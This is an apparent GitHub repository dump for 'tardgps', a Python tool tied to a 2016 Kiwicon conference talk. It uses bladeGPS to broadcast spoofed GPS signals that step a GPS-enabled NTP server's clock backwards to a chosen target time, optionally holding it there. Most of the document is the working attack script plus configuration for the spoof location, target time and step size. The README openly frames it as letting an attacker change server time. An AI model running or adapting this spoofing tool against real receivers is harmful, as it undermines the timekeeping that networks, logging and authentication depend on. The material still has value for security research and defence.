├── .gitattributes ├── logging.cfg ├── .gitignore ├── README.md ├── tardgps.cfg └── tardgps.py /.gitattributes: -------------------------------------------------------------------------------- 1 | # Auto detect text files and perform LF normalization 2 | * text=auto 3 | 4 | # Custom for Visual Studio 5 | *.cs diff=csharp 6 | 7 | # Standard to msysgit 8 | *.doc diff=astextplain 9 | *.DOC diff=astextplain 10 | *.docx diff=astextplain 11 | *.DOCX diff=astextplain 12 | *.dot diff=astextplain 13 | *.DOT diff=astextplain 14 | *.pdf diff=astextplain 15 | *.PDF diff=astextplain 16 | *.rtf diff=astextplain 17 | *.RTF diff=astextplain 18 | -------------------------------------------------------------------------------- /logging.cfg: -------------------------------------------------------------------------------- 1 | [loggers] 2 | keys=root 3 | 4 | [handlers] 5 | keys=consoleHandler, timedRotatingFileHandler 6 | 7 | [formatters] 8 | keys=simpleFormatter 9 | 10 | [logger_root] 11 | level=DEBUG 12 | handlers=consoleHandler, timedRotatingFileHandler 13 | 14 | [handler_timedRotatingFileHandler] 15 | class=handlers.TimedRotatingFileHandler 16 | level=DEBUG 17 | formatter=simpleFormatter 18 | args=('tardgps.log', 'H', 1, 72) 19 | 20 | [handler_consoleHandler] 21 | class=StreamHandler 22 | level=DEBUG 23 | formatter=simpleFormatter 24 | args=(sys.stdout,) 25 | 26 | [formatter_simpleFormatter] 27 | format=%(asctime)s - %(name)s - %(levelname)s - %(message)s 28 | datefmt= 29 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # Windows image file caches 2 | Thumbs.db 3 | ehthumbs.db 4 | 5 | # Folder config file 6 | Desktop.ini 7 | 8 | # Recycle Bin used on file shares 9 | $RECYCLE.BIN/ 10 | 11 | # Windows Installer files 12 | *.cab 13 | *.msi 14 | *.msm 15 | *.msp 16 | 17 | # Windows shortcuts 18 | *.lnk 19 | 20 | # ========================= 21 | # Operating System Files 22 | # ========================= 23 | 24 | # OSX 25 | # ========================= 26 | 27 | .DS_Store 28 | .AppleDouble 29 | .LSOverride 30 | 31 | # Thumbnails 32 | ._* 33 | 34 | # Files that might appear in the root of a volume 35 | .DocumentRevisions-V100 36 | .fseventsd 37 | .Spotlight-V100 38 | .TemporaryItems 39 | .Trashes 40 | .VolumeIcon.icns 41 | 42 | # Directories potentially created on remote AFP share 43 | .AppleDB 44 | .AppleDesktop 45 | Network Trash Folder 46 | Temporary Items 47 | .apdisk 48 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # tardgps 2 | tardgps is a tool which will move the broadcast time of GPS backwards to a pre-set time (configured in the configuration file). This allows an attacker to change the time on a GPS-enabled NTP server without crashing the NTP daemon. tardgps was first presented conference talk at [Kiwicon X (2016)](https://kiwicon.org/the-con/talks/#e225), [the slides from the talk]( https://zxsecurity.co.nz/presentations/201611_Kiwicon-ZXSecurity_GPSSpoofing_LetsDoTheTimewarpAgain.pdf). 3 | 4 | A hint when running set the local OS time to UTC as it will make things simpler. 5 | 6 | ## Requirements 7 | 1. A GPS Device that will talk to [GPSd](http://www.catb.org/gpsd/) 8 | 1. GPSd installed 9 | 1. Python 10 | 1. Python library [gps3](https://pypi.python.org/pypi/gps3/) 11 | 1. A copy of [bladeGPS](https://github.com/osqzss/bladeGPS), I have been using the [keith-citrenbaum fork](https://github.com/keith-citrenbaum/bladeGPS) 12 | 13 | ## Running 14 | 1. Configure the options in tardgps.cfg 15 | 1. Run gpsd `sudo gpsd /dev/ttyUSB0 -F /var/run/gpsd.sock` 16 | 1. Run tardgps `./tardgps.py` 17 | -------------------------------------------------------------------------------- /tardgps.cfg: -------------------------------------------------------------------------------- 1 | [gpsd] 2 | # Configuraation for the GPSd daemon on the computer 3 | host = 127.0.0.1 4 | port = 2947 5 | protocol = json 6 | 7 | [location] 8 | # The Location information for the transmission. Use decimal lat and long and metres for the altitude 9 | latitude = -41.290463333 10 | longitiude = 174.775350000 11 | altitude = -15 12 | 13 | [time] 14 | # The time which is being targetted. YYYY-MM-DD HH:MM:SS 15 | target = 2016-09-26 22:15:00 16 | # The number of seconds to step backwards per backwards step 17 | step = 500 18 | # If when reach the target time keep repeating that time (True) or reach that time once and then just let time run forward (False) 19 | groundhog = True 20 | # The stablisiation time (seconds) how long after getting a GPS fix to wiat for NTP to stabilise before making the next backwards step 21 | stabilise_time = 120 22 | # What is the window in seconds for how close want current gps time to be to the current iteration's rolling time 23 | window = 30 24 | # Don't wait for GPS fix on start. For when in Faraday cage and won't have outside GPS sync 25 | dont_wait_for_gps_fix_on_start = True 26 | 27 | [data] 28 | # The path to the brdc file 29 | brdc = /home/user/bladeGPS-keith/brdc1700.16n 30 | 31 | [blade] 32 | # The path to the bladegps binary (https://github.com/osqzss/bladeGPS) 33 | bladegps_path = /home/user/bladeGPS-keith/bladegps 34 | -------------------------------------------------------------------------------- /tardgps.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | """ 5 | tardgps.py is tool that will use GPS to move time backwards. The goal is to move time backwards for an NTPd server without it breaking. 6 | 7 | This tool makes use og bladgeGPS (https://github.com/osqzss/bladeGPS) to do the GPS work. You will need the brdc for the day ftp://cddis.gsfc.nasa.gov/gnss/data/daily/ 8 | 9 | command: 10 | tardgps.py 11 | 12 | The configuration of the dates, times and brdc are in tardgps.cfg and the logging configuarion by logging.cfg 13 | 14 | """ 15 | 16 | import sys 17 | import os 18 | import configparser 19 | import logging 20 | import logging.config 21 | import time 22 | import threading 23 | from datetime import datetime, timedelta 24 | from gps3 import gps3 25 | 26 | 27 | __author__ = 'Karit' 28 | __copyright__ = 'Copyright 2016 Karit' 29 | __license__ = 'MIT' 30 | __version__ = '0.1' 31 | 32 | 33 | 34 | #Get current time as start time 35 | #Get the time you want to move to 36 | #Get Location 37 | #Get the negitive time step needed 38 | #Boardcast the current time on GPS 39 | #Wait until GPS has a fix and has the time 40 | #Boardcast the current boardcast time -X minutes 41 | #Wait until GPS has a fix and has the time 42 | #loop 43 | #When get required time keep boardcasting that 44 | 45 | def run_blade(time): 46 | kill_boardcast() 47 | #./bladegps -e dave.16n -l 30.286502,120.032669,100 -t 2016/05/31,13:00:00 48 | bin_path = cfg.get('blade', 'bladegps_path') 49 | brdc_file = cfg.get('data', 'brdc') 50 | latitude = cfg.get('location', 'latitude') 51 | longitude = cfg.get('location', 'longitiude') 52 | altitude = cfg.get('location', 'altitude') 53 | time_formated = time.strftime('%Y/%m/%d,%H:%M:%S') 54 | command = '%s -e %s -l %s,%s,%s -T %s&' % (bin_path, brdc_file, latitude, longitude, altitude, time_formated) 55 | logger.info('Starting bldeGPS') 56 | logger.debug('Using the follow command line: %s' % (command)) 57 | os.system(command) 58 | 59 | def broadcast_gps(targetTime, groundhog): 60 | startTime = datetime.now() 61 | threading.Thread(target=run_blade(targetTime)).start() 62 | wait_for_gps_fix() 63 | currentGPSTime = get_gps_time() 64 | flag = False 65 | while True: 66 | currentTime = datetime.now() 67 | runningTime = currentTime - startTime 68 | movingTargetTime = targetTime + runningTime 69 | window = cfg.getint('time', 'window') 70 | highMovingTargetTime = movingTargetTime + timedelta(seconds=window) 71 | lowMovingTargetTime = movingTargetTime - timedelta(seconds=window) 72 | previousGPSTime = currentGPSTime 73 | currentGPSTime = get_gps_time() 74 | if flag: 75 | # We have reached the target time and groundhog is off 76 | pass 77 | elif previousGPSTime == currentGPSTime: 78 | logger.debug('No new GPS fix. previousGPSTime == currentGPSTime. Sleeping 5 seconds.') 79 | else: 80 | logger.debug('Current GPS Time: %s. Low Moving Target Time: %s. High Moving Target Time: %s.' % (currentGPSTime, lowMovingTargetTime, highMovingTargetTime)) 81 | if currentGPSTime >= lowMovingTargetTime: 82 | if currentGPSTime <= highMovingTargetTime: 83 | if groundhog: 84 | stabliseTime = cfg.getint('time', 'stabilise_time') 85 | logger.debug('Sleeping for stabilise time of: %s' % (stabliseTime)) 86 | time.sleep(stabliseTime) 87 | logger.info('Iteration Target Time reached') 88 | return 89 | else: 90 | logger.info('Target Time reached. Will perform no more, time changes') 91 | flag = True 92 | time.sleep(5) 93 | 94 | def coordinate(): 95 | flag = False 96 | if cfg.getboolean('time', 'dont_wait_for_gps_fix_on_start'): 97 | logger.debug('First run not waiting for GPS Fix') 98 | currentGPSTime = datetime.now().replace(tzinfo=None) 99 | flag = True 100 | else: 101 | logger.debug('First run is waiting for GPS Fix') 102 | wait_for_gps_fix() 103 | currentGPSTime = get_gps_time() 104 | flag = Flase 105 | targetTime = datetime.strptime(cfg.get('time', 'target'), '%Y-%m-%d %H:%M:%S') 106 | timeStep = cfg.getint('time', 'step') 107 | stabliseTime = cfg.getint('time', 'stabilise_time') 108 | groundhog = cfg.getboolean('time', 'groundhog') 109 | while True: 110 | if flag: 111 | currentGPSTime = datetime.now().replace(tzinfo=None) 112 | flag = False 113 | else: 114 | currentGPSTime = get_gps_time() 115 | newTime = currentGPSTime - timedelta(seconds=timeStep) 116 | if newTime < targetTime and not groundhog: 117 | logger.info('Moving time from %s to %s target time is %s' % (currentGPSTime, targetTime, targetTime)) 118 | logger.info('Will stop time warping as groundhog is false') 119 | broadcast_gps(targetTime, False) 120 | elif newTime < targetTime and groundhog: 121 | logger.info('Moving time from %s to %s target time is %s' % (currentGPSTime, targetTime, targetTime)) 122 | logger.info('Will keep time warping as groundhog is true') 123 | broadcast_gps(targetTime, True) 124 | else: 125 | logger.info('Moving time from %s to %s target time is %s' % (currentGPSTime, newTime, targetTime)) 126 | broadcast_gps(newTime, True) 127 | 128 | def wait_for_gps_fix(): 129 | for new_data in gps_socket: 130 | if new_data: 131 | gps_fix.refresh(new_data) 132 | if gps_fix.TPV['mode'] != 'n/a' and gps_fix.TPV['mode'] >= 2: 133 | logger.debug('Got a GPS fix.') 134 | return 135 | else: 136 | logger.info('No GPS fix. Sleeping 5 seconds.') 137 | time.sleep(5) 138 | 139 | def get_gps_time(): 140 | for new_data in gps_socket: 141 | if new_data: 142 | gps_fix.refresh(new_data) 143 | if gps_fix.TPV['time'] != 'n/a': 144 | time = datetime.strptime(gps_fix.TPV['time'], '%Y-%m-%dT%H:%M:%S.%fZ') 145 | time = time.replace(tzinfo=None) 146 | return time 147 | 148 | def kill_boardcast(): 149 | pids = get_pid('bladegps') 150 | for pid in pids: 151 | os.system('kill -9 %s' % (pid)) 152 | 153 | def get_pid(name): 154 | pids = [] 155 | ps = os.popen("ps -ef | grep %s | grep -v grep" % (name)).read() 156 | lines = ps.splitlines() 157 | for line in lines: 158 | pids.append(line.split()[1]) 159 | return pids 160 | 161 | def connect_to_gpsd(): 162 | """ 163 | Connect to the GPSd deamons 164 | 165 | The configuartion for this is tardgps.cfg 166 | """ 167 | logger.debug('Connecting to GPSd') 168 | host = cfg.get('gpsd', 'host') 169 | port = cfg.getint('gpsd', 'port') 170 | protocol = cfg.get('gpsd', 'protocol') 171 | global gps_socket 172 | global gps_fix 173 | try: 174 | gps_socket = gps3.GPSDSocket() 175 | gps_socket.connect(host, port) 176 | gps_socket.watch(gpsd_protocol=protocol) 177 | gps_fix = gps3.Fix() 178 | except: 179 | logger.error('Connection to gpsd at \'{0}\' on port \'{1}\' failed.'.format(cfg.get('gpsd', 'host'), cfg.getint('gpsd', 'port'))) 180 | sys.exit(1) 181 | logger.debug('Connected to GPSd') 182 | 183 | 184 | def shut_down(): 185 | """ 186 | Closes connections and threads 187 | """ 188 | gps_socket.close() 189 | kill_boardcast() 190 | logger.debug('Closed connection to GPSd') 191 | print('Keyboard interrupt received\nTerminated by user\nGood Bye.\n') 192 | logger.info('Keyboard interrupt received. Terminated by user. Good Bye.') 193 | sys.exit(1) 194 | 195 | 196 | def start_script(): 197 | global cfg 198 | cfg = configparser.ConfigParser() 199 | cfg.read('tardgps.cfg') 200 | 201 | global logger 202 | logging.config.fileConfig('logging.cfg') 203 | logger = logging.getLogger(__name__) 204 | logger.info('Starting tardgps') 205 | 206 | connect_to_gpsd() 207 | 208 | 209 | try: 210 | coordinate() 211 | except KeyboardInterrupt: 212 | shut_down() 213 | except (OSError, IOError) as error: 214 | gps_socket.close() 215 | kill_boardcast() 216 | sys.stderr.write('\rError--> {}'.format(error)) 217 | logger.error('Error--> {}'.format(error)) 218 | sys.stderr.write('\rConnection to gpsd at \'{0}\' on port \'{1}\' failed.\n'.format(cfg.get('gpsd', 'host'), cfg.getint('gpsd', 'port'))) 219 | logger.error('Connection to gpsd at \'{0}\' on port \'{1}\' failed.'.format(cfg.get('gpsd', 'host'), cfg.getint('gpsd', 'port'))) 220 | sys.exit(1) 221 | 222 | if __name__ == '__main__': 223 | start_script() 224 | --------------------------------------------------------------------------------